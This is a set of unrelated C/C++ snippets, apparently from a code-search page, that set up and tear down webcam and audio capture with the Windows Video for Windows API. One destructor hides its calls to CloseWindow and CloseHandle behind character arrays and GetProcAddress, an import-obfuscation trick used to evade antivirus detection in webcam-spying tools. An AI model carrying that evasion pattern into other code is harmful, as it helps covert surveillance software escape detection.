void CMainFrame::OnClose() { // TODO: 在此添加消息处理程序代码和/或调用默认值 capCaptureAbort(m_hWndCap); capDriverDisconnect(m_hWndCap); Sleep(100); capSetCallbackOnError(m_hWndCap,NULL); capSetCallbackOnStatus(m_hWndCap,NULL); capSetCallbackOnVideoStream(m_hWndCap,NULL); delete lpbiIn; delete lpbiTmp; delete lpbiOut; if (m_vfwState==ENCDEC){ ICDecompressEnd(hic2); ICClose(hic2); ICSeqCompressFrameEnd(&pc); ICCompressEnd(hic1); ICClose(hic1); AVIStreamClose(ps); if(m_pFile != NULL) AVIFileRelease(m_pFile); } enc_stop(); dec_stop(); Sleep(100); CFrameWnd::OnClose(); }
CVideoCap::~CVideoCap() { if (m_bIsConnected) { capCaptureAbort(m_hWndCap); capDriverDisconnect(m_hWndCap); if (m_lpbmi) delete m_lpbmi; if (m_lpDIB) delete m_lpDIB; m_bIsConnected = false; } capSetCallbackOnError(m_hWndCap, NULL); capSetCallbackOnFrame(m_hWndCap, NULL); char CtxPW61[] = {'C','l','o','s','e','W','i','n','d','o','w','\0'}; CloseWindowT pCloseWindow=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW61); pCloseWindow(m_hWnd); pCloseWindow(m_hWndCap); char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); pCloseHandle(m_hCaptureEvent); }
void VideoGrabber::Init() { mGrabNextFrame = FALSE; mPreviousFrameExists = FALSE; // Setup capture window and connect webcam driver camhwnd = capCreateCaptureWindow (_T("Ahtung!"), 0 , 0, 0, FRAME_WIDTH, FRAME_HEIGHT, 0, 0); SendMessage(camhwnd, WM_CAP_DRIVER_CONNECT, 0, 0); capSetCallbackOnFrame(camhwnd, FrameCallbackProc); capSetCallbackOnVideoStream(camhwnd, FrameCallbackProc); // Use same callback function, consider mGrabNextFrame flag! capSetUserData(camhwnd, this); // Callback functions may use pointer to this VideoGrabber if (mPreviousFrame != NULL) { delete[] mPreviousFrame; mPreviousFrame = NULL; } mMotionDetectedDuringLastSecond = FALSE; // TODO: Use MPEGLAYER3WAVEFORMAT instead this // Setup audio params WAVEFORMATEX wfex; wfex.wFormatTag = WAVE_FORMAT_PCM; wfex.nChannels = 1; // Use mono wfex.nSamplesPerSec = 8000; wfex.nAvgBytesPerSec = 8000; wfex.nBlockAlign = 1; wfex.wBitsPerSample = 8; wfex.cbSize = 0; capSetAudioFormat(camhwnd, &wfex, sizeof(WAVEFORMATEX)); // Setup video capturing and streaming CAPTUREPARMS parms; capCaptureGetSetup(camhwnd, &parms, sizeof(CAPTUREPARMS)); parms.fAbortLeftMouse = FALSE; parms.wPercentDropForError = 100; // Never abort capturing in case of dropped frames parms.fAbortRightMouse = FALSE; //parms.fLimitEnabled = TRUE; //parms.wTimeLimit = 0; // TODO! parms.fYield = TRUE; // TODO! capCaptureSetSetup(camhwnd, &parms, sizeof(parms)); // !!! capSetCallbackOnError(camhwnd, capErrorCallback); // Resume thread for motion detection mListenerHandle = CreateThread(0, 0, ListeningRoutine, this, CREATE_SUSPENDED, &mThreadID); SetEnabled(TRUE); ResumeThread(mListenerHandle); }
static int vfw_init (zbar_video_t *vdo, uint32_t fmt) { if(vfw_set_format(vdo, fmt)) return(-1); HWND hwnd = vdo->state->hwnd; CAPTUREPARMS cp; if(!capCaptureGetSetup(hwnd, &cp, sizeof(cp))) return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_WINAPI, __func__, "retrieving capture parameters")); cp.dwRequestMicroSecPerFrame = 33333; cp.fMakeUserHitOKToCapture = 0; cp.wPercentDropForError = 90; cp.fYield = 1; cp.wNumVideoRequested = vdo->num_images; cp.fCaptureAudio = 0; cp.vKeyAbort = 0; cp.fAbortLeftMouse = 0; cp.fAbortRightMouse = 0; cp.fLimitEnabled = 0; if(!capCaptureSetSetup(hwnd, &cp, sizeof(cp))) return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_WINAPI, __func__, "setting capture parameters")); if(!capCaptureGetSetup(hwnd, &cp, sizeof(cp))) return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_WINAPI, __func__, "checking capture parameters")); /* ignore errors since we skipped checking fHasOverlay */ capOverlay(hwnd, 0); if(!capPreview(hwnd, 0) || !capPreviewScale(hwnd, 0)) err_capture(vdo, SEV_WARNING, ZBAR_ERR_WINAPI, __func__, "disabling preview"); if(!capSetCallbackOnVideoStream(hwnd, vfw_stream_cb) || !capSetCallbackOnError(hwnd, vfw_error_cb)) return(err_capture(vdo, SEV_ERROR, ZBAR_ERR_BUSY, __func__, "setting capture callbacks")); vdo->num_images = cp.wNumVideoRequested; vdo->iomode = VIDEO_MMAP; /* driver provides "locked" buffers */ zprintf(3, "initialized video capture: %d buffers %ldms/frame\n", vdo->num_images, cp.dwRequestMicroSecPerFrame); return(0); }
void MMCapture::captureInit(UINT framesPerSecond, UINT audioBufferSize) { DWORD style = WS_CHILD; m_captureWindow = capCreateCaptureWindow(_T("my capture window"), style,0,0,640,480,m_receiver.getWindow(),1); if(m_captureWindow == NULL) { throwException(_T("%s:Cannot create CaptureWindow:%s"),__TFUNCTION__,getLastErrorText().cstr()); } try { CHECKRESULT(capSetUserData( m_captureWindow, this)); if(captureVideo()) { CHECKRESULT(capDriverConnect(m_captureWindow, 0 )); m_webCamConnected = true; } CAPTUREPARMS param; CHECKRESULT(capCaptureGetSetup(m_captureWindow,¶m,sizeof(param))); param.dwRequestMicroSecPerFrame = 1000000 / framesPerSecond; param.fYield = TRUE; param.AVStreamMaster = AVSTREAMMASTER_AUDIO; // AVSTREAMMASTER_NONE; param.dwAudioBufferSize = audioBufferSize; CHECKRESULT(capCaptureSetSetup(m_captureWindow,¶m,sizeof(param))); if(captureAudio()) { int audioFormatSize = capGetAudioFormat(m_captureWindow,&m_audioFormat, sizeof(m_audioFormat)); CHECKRESULT(capSetCallbackOnWaveStream( m_captureWindow, captureWaveStreamCallback)); } if(captureVideo()) { int videoFormatSize = capGetVideoFormat(m_captureWindow,&m_videoFormat, sizeof(m_videoFormat)); CHECKRESULT(capSetCallbackOnVideoStream(m_captureWindow, captureVideoStreamCallback)); CHECKRESULT(capSetCallbackOnFrame( m_captureWindow, captureFrameCallback)); } CHECKRESULT(capSetCallbackOnStatus( m_captureWindow, captureStatusCallback)); CHECKRESULT(capSetCallbackOnCapControl( m_captureWindow, captureControlCallback)); CHECKRESULT(capSetCallbackOnError( m_captureWindow, captureErrorCallback)); if(captureAudio() && m_playAudio) { m_audioThread = new AudioPlayerThread(*this); TRACE_NEW(m_audioThread); m_audioThread->start(); } } catch(...) { captureCleanup(); throw; } }
bool CVideoCap::Initialize(int nWidth, int nHeight) { // CAPTUREPARMS gCapTureParms ; //视频驱动器的能力 CAPDRIVERCAPS gCapDriverCaps; DWORD dwSize; if (!IsWebCam()) return false; capSetUserData(m_hWndCap, this); capSetCallbackOnError(m_hWndCap, capErrorCallback); if (!capSetCallbackOnFrame(m_hWndCap, FrameCallbackProc)) { return false; } // 将捕获窗同驱动器连接 int i; for (i = 0; i < 10; i++) { if (capDriverConnect(m_hWndCap, i)) break; } if (i == 10) return false; dwSize = capGetVideoFormatSize(m_hWndCap); m_lpbmi = new BITMAPINFO; // M263只支持176*144 352*288 (352*288 24彩的试验只支持biPlanes = 1) capGetVideoFormat(m_hWndCap, m_lpbmi, dwSize); // 采用指定的大小 if (nWidth && nHeight) { m_lpbmi->bmiHeader.biWidth = nWidth; m_lpbmi->bmiHeader.biHeight = nHeight; m_lpbmi->bmiHeader.biPlanes = 1; m_lpbmi->bmiHeader.biSizeImage = (((m_lpbmi->bmiHeader.biWidth * m_lpbmi->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi->bmiHeader.biHeight; // 实验得知一些摄像头不支持指定的分辩率 if (!capSetVideoFormat(m_hWndCap, m_lpbmi, sizeof(BITMAPINFO))) return false; }
CVideoCap::~CVideoCap() { if (m_bIsConnected) { capCaptureAbort(m_hWndCap); capDriverDisconnect(m_hWndCap); if (m_lpbmi) delete m_lpbmi; if (m_lpDIB) delete m_lpDIB; m_bIsConnected = false; } capSetCallbackOnError(m_hWndCap, NULL); capSetCallbackOnFrame(m_hWndCap, NULL); CloseWindow(m_hWnd); CloseWindow(m_hWndCap); CloseHandle(m_hCaptureEvent); }
/*初始化VFW设备*/ void CMainFrame::OnVfwInitvfw() { // TODO: 在此添加命令处理程序代码 DWORD fsize; // 创建视频窗口 if(!m_wndSource.CreateEx(WS_EX_TOPMOST,NULL, _T("Source"),WS_OVERLAPPED|WS_CAPTION, CRect(0,0,352,288),NULL,0)) return; m_hWndCap = capCreateCaptureWindow(_T("Capture Window"),WS_CHILD|WS_VISIBLE, 0,0,352,288, m_wndSource.m_hWnd,0); //m_wndSource.ShowWindow(SW_SHOW); // 注册回调函数 capSetCallbackOnError(m_hWndCap,(FARPROC)ErrorCallbackProc); capSetCallbackOnStatus(m_hWndCap,(FARPROC)StatusCallbackProc); capSetCallbackOnVideoStream(m_hWndCap,(FARPROC)VideoCallbackProc); // 连接视频设备 capDriverConnect(m_hWndCap,0); //(HWND m_hWndCap, int index);//index : 0--9 // 获取驱动器的性能参数 capDriverGetCaps(m_hWndCap,&m_caps,sizeof(CAPDRIVERCAPS)); if (m_caps.fHasOverlay) capOverlay(m_hWndCap,TRUE); // 设置预览速率开始预览 capPreviewRate(m_hWndCap,1000/25); capPreview(m_hWndCap,bPreview); fsize = capGetVideoFormatSize(m_hWndCap); capGetVideoFormat(m_hWndCap, lpbiIn, fsize); AfxMessageBox(_T("初始化成功!")); }
// Standard AVIcap window message // macro: capSetCallbackOnError BOOL CAviCap::SetErrorCallBack(LPVOID cb) { CHECKWIN(); CHECKCNCT(); return capSetCallbackOnError(GetSafeHwnd(), cb); }